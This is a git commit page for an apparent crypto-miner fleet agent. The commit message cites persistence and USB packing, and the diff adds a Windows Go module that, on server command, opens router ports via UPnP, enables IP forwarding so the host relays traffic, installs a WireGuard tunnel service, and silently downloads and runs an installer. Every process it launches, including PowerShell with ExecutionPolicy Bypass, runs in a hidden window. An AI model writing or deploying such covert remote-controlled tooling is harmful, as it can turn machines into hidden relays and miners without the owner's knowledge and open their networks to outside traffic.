feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
299
agent/client/pathtracer_windows.go
Normal file
299
agent/client/pathtracer_windows.go
Normal file
@@ -0,0 +1,299 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
|
||||
"crypto-miner-agent/deploy"
|
||||
|
||||
"golang.org/x/crypto/curve25519"
|
||||
)
|
||||
|
||||
const wgUDPPort = 51820
|
||||
|
||||
// WGSetupResult is returned to the server after wg_setup.
|
||||
type WGSetupResult struct {
|
||||
PublicKey string `json:"public_key"`
|
||||
ExternalIP string `json:"external_ip"`
|
||||
ExternalPort int `json:"external_port"`
|
||||
UPnPOK bool `json:"upnp_ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
// WGPeerEntry is one peer entry inside WGConfigPayload.
|
||||
type WGPeerEntry struct {
|
||||
PublicKey string `json:"public_key"`
|
||||
Endpoint string `json:"endpoint"` // "ip:port"
|
||||
AllowedIPs string `json:"allowed_ips"`
|
||||
PersistentKeepalive int `json:"persistent_keepalive"`
|
||||
}
|
||||
|
||||
// WGConfigPayload is sent from the server to configure this agent's WireGuard tunnel.
|
||||
type WGConfigPayload struct {
|
||||
SessionID string `json:"session_id"`
|
||||
PrivateKey string `json:"private_key"`
|
||||
LocalAddress string `json:"local_address"` // e.g. "10.66.0.2/24"
|
||||
ListenPort int `json:"listen_port"`
|
||||
Peers []WGPeerEntry `json:"peers"`
|
||||
EnableIPForwarding bool `json:"enable_ip_forwarding"`
|
||||
}
|
||||
|
||||
// wgState holds active tunnel state so teardown knows what to clean up.
|
||||
var wgState struct {
|
||||
sessionID string
|
||||
configPath string
|
||||
tunnelName string
|
||||
}
|
||||
|
||||
// WGSetup generates a keypair, tries UPnP, and returns setup info to the server.
|
||||
func WGSetup() WGSetupResult {
|
||||
priv, pub, err := generateWGKeyPair()
|
||||
if err != nil {
|
||||
return WGSetupResult{Error: "keypair gen failed: " + err.Error()}
|
||||
}
|
||||
|
||||
// Persist private key for when wg_configure arrives.
|
||||
_ = os.MkdirAll(wgWorkDir(), 0700)
|
||||
_ = os.WriteFile(filepath.Join(wgWorkDir(), "wg_priv.key"), []byte(priv), 0600)
|
||||
|
||||
res := WGSetupResult{
|
||||
PublicKey: pub,
|
||||
ExternalPort: wgUDPPort,
|
||||
}
|
||||
|
||||
// Try UPnP — open UDP 51820.
|
||||
r, err := deploy.PunchUPnP(wgUDPPort, wgUDPPort, "PathTracer-WG")
|
||||
if err == nil && r.Success {
|
||||
res.ExternalIP = r.ExternalIP
|
||||
res.UPnPOK = true
|
||||
log.Printf("[pathtracer] UPnP opened UDP %s:%d", r.ExternalIP, wgUDPPort)
|
||||
} else {
|
||||
// Fall back to the IP the server sees on the WebSocket connection.
|
||||
res.UPnPOK = false
|
||||
log.Printf("[pathtracer] UPnP failed, server will use its seen IP: %v", err)
|
||||
}
|
||||
|
||||
return res
|
||||
}
|
||||
|
||||
// WGConfigure writes the WireGuard config and starts the tunnel as a Windows service.
|
||||
func WGConfigure(payload WGConfigPayload) error {
|
||||
privKey := payload.PrivateKey
|
||||
if privKey == "" {
|
||||
// Use the key we generated in WGSetup.
|
||||
raw, err := os.ReadFile(filepath.Join(wgWorkDir(), "wg_priv.key"))
|
||||
if err != nil {
|
||||
return fmt.Errorf("private key not found: %w", err)
|
||||
}
|
||||
privKey = strings.TrimSpace(string(raw))
|
||||
}
|
||||
|
||||
conf := buildWGConfig(privKey, payload)
|
||||
tunnelName := "PathTracer-" + payload.SessionID[:8]
|
||||
confPath := filepath.Join(wgWorkDir(), tunnelName+".conf")
|
||||
|
||||
if err := os.WriteFile(confPath, []byte(conf), 0600); err != nil {
|
||||
return fmt.Errorf("write config: %w", err)
|
||||
}
|
||||
|
||||
// Enable IP forwarding so this node can relay traffic.
|
||||
if payload.EnableIPForwarding {
|
||||
_ = enableIPForwarding()
|
||||
}
|
||||
|
||||
// Install and start the WireGuard service.
|
||||
wgExe, err := ensureWGExe()
|
||||
if err != nil {
|
||||
return fmt.Errorf("wireguard not available: %w", err)
|
||||
}
|
||||
|
||||
// Remove any stale service first (ignore errors).
|
||||
_ = runHidden(wgExe, "/uninstallservice", tunnelName)
|
||||
|
||||
if err := runHidden(wgExe, "/installservice", confPath); err != nil {
|
||||
return fmt.Errorf("wg installservice: %w", err)
|
||||
}
|
||||
|
||||
wgState.sessionID = payload.SessionID
|
||||
wgState.configPath = confPath
|
||||
wgState.tunnelName = tunnelName
|
||||
log.Printf("[pathtracer] WireGuard tunnel %s started", tunnelName)
|
||||
return nil
|
||||
}
|
||||
|
||||
// WGTeardown stops and removes the WireGuard tunnel and cleans up UPnP.
|
||||
func WGTeardown() {
|
||||
if wgState.tunnelName != "" {
|
||||
wgExe, err := ensureWGExe()
|
||||
if err == nil {
|
||||
_ = runHidden(wgExe, "/uninstallservice", wgState.tunnelName)
|
||||
}
|
||||
_ = os.Remove(wgState.configPath)
|
||||
wgState = struct {
|
||||
sessionID string
|
||||
configPath string
|
||||
tunnelName string
|
||||
}{}
|
||||
}
|
||||
_, _ = deploy.CloseUPnP(wgUDPPort)
|
||||
log.Printf("[pathtracer] WireGuard tunnel torn down")
|
||||
}
|
||||
|
||||
// WGStatus returns the number of active WireGuard peers.
|
||||
func WGStatus() string {
|
||||
if wgState.tunnelName == "" {
|
||||
return "no active tunnel"
|
||||
}
|
||||
wgExe, err := ensureWGExe()
|
||||
if err != nil {
|
||||
return "tunnel active (wg.exe unavailable)"
|
||||
}
|
||||
cmd := exec.Command(wgExe, "show", wgState.tunnelName)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
|
||||
out, _ := cmd.CombinedOutput()
|
||||
return "tunnel=" + wgState.tunnelName + "\n" + strings.TrimSpace(string(out))
|
||||
}
|
||||
|
||||
// ── helpers ──────────────────────────────────────────────────────────────────
|
||||
|
||||
func generateWGKeyPair() (privateB64, publicB64 string, err error) {
|
||||
var priv [32]byte
|
||||
if _, err = rand.Read(priv[:]); err != nil {
|
||||
return
|
||||
}
|
||||
// WireGuard Curve25519 key clamping.
|
||||
priv[0] &= 248
|
||||
priv[31] &= 127
|
||||
priv[31] |= 64
|
||||
|
||||
var pub [32]byte
|
||||
curve25519.ScalarBaseMult(&pub, &priv)
|
||||
|
||||
privateB64 = base64.StdEncoding.EncodeToString(priv[:])
|
||||
publicB64 = base64.StdEncoding.EncodeToString(pub[:])
|
||||
return
|
||||
}
|
||||
|
||||
func buildWGConfig(privKey string, p WGConfigPayload) string {
|
||||
port := p.ListenPort
|
||||
if port == 0 {
|
||||
port = wgUDPPort
|
||||
}
|
||||
var sb strings.Builder
|
||||
sb.WriteString("[Interface]\n")
|
||||
fmt.Fprintf(&sb, "PrivateKey = %s\n", privKey)
|
||||
fmt.Fprintf(&sb, "Address = %s\n", p.LocalAddress)
|
||||
fmt.Fprintf(&sb, "ListenPort = %d\n", port)
|
||||
sb.WriteString("DNS = 1.1.1.1\n\n")
|
||||
for _, peer := range p.Peers {
|
||||
sb.WriteString("[Peer]\n")
|
||||
fmt.Fprintf(&sb, "PublicKey = %s\n", peer.PublicKey)
|
||||
if peer.Endpoint != "" {
|
||||
fmt.Fprintf(&sb, "Endpoint = %s\n", peer.Endpoint)
|
||||
}
|
||||
ai := peer.AllowedIPs
|
||||
if ai == "" {
|
||||
ai = "0.0.0.0/0"
|
||||
}
|
||||
fmt.Fprintf(&sb, "AllowedIPs = %s\n", ai)
|
||||
ka := peer.PersistentKeepalive
|
||||
if ka == 0 {
|
||||
ka = 25
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("PersistentKeepalive = %d\n\n", ka))
|
||||
}
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
func wgWorkDir() string {
|
||||
base := os.Getenv("LOCALAPPDATA")
|
||||
if base == "" {
|
||||
base = os.TempDir()
|
||||
}
|
||||
return filepath.Join(base, "PathTracer")
|
||||
}
|
||||
|
||||
// ensureWGExe returns the path to wireguard.exe, downloading if needed.
|
||||
func ensureWGExe() (string, error) {
|
||||
candidates := []string{
|
||||
`C:\Program Files\WireGuard\wireguard.exe`,
|
||||
`C:\Program Files (x86)\WireGuard\wireguard.exe`,
|
||||
filepath.Join(wgWorkDir(), "wireguard.exe"),
|
||||
}
|
||||
for _, p := range candidates {
|
||||
if _, err := os.Stat(p); err == nil {
|
||||
return p, nil
|
||||
}
|
||||
}
|
||||
return downloadWireGuard()
|
||||
}
|
||||
|
||||
func downloadWireGuard() (string, error) {
|
||||
const dlURL = "https://download.wireguard.com/windows-client/wireguard-installer.exe"
|
||||
installDir := wgWorkDir()
|
||||
_ = os.MkdirAll(installDir, 0755)
|
||||
installerPath := filepath.Join(installDir, "wireguard-installer.exe")
|
||||
|
||||
resp, err := http.Get(dlURL)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("download wireguard: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
data := make([]byte, 0, 8*1024*1024)
|
||||
buf := make([]byte, 32*1024)
|
||||
for {
|
||||
n, rerr := resp.Body.Read(buf)
|
||||
if n > 0 {
|
||||
data = append(data, buf[:n]...)
|
||||
}
|
||||
if rerr != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
if err := os.WriteFile(installerPath, data, 0755); err != nil {
|
||||
return "", fmt.Errorf("write installer: %w", err)
|
||||
}
|
||||
|
||||
// Install silently.
|
||||
if err := runHidden(installerPath, "/S"); err != nil {
|
||||
return "", fmt.Errorf("wireguard install: %w", err)
|
||||
}
|
||||
|
||||
wgExe := `C:\Program Files\WireGuard\wireguard.exe`
|
||||
if _, err := os.Stat(wgExe); err != nil {
|
||||
return "", fmt.Errorf("wireguard.exe not found after install")
|
||||
}
|
||||
return wgExe, nil
|
||||
}
|
||||
|
||||
func enableIPForwarding() error {
|
||||
script := `Set-NetIPInterface -Forwarding Enabled -ErrorAction SilentlyContinue`
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass",
|
||||
"-WindowStyle", "Hidden", "-Command", script)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func runHidden(name string, args ...string) error {
|
||||
cmd := exec.Command(name, args...)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
// WGSetupJSON is called from the command dispatcher — returns JSON string for command_result.
|
||||
func WGSetupJSON() string {
|
||||
res := WGSetup()
|
||||
b, _ := json.Marshal(res)
|
||||
return string(b)
|
||||
}
|
||||
Reference in New Issue
Block a user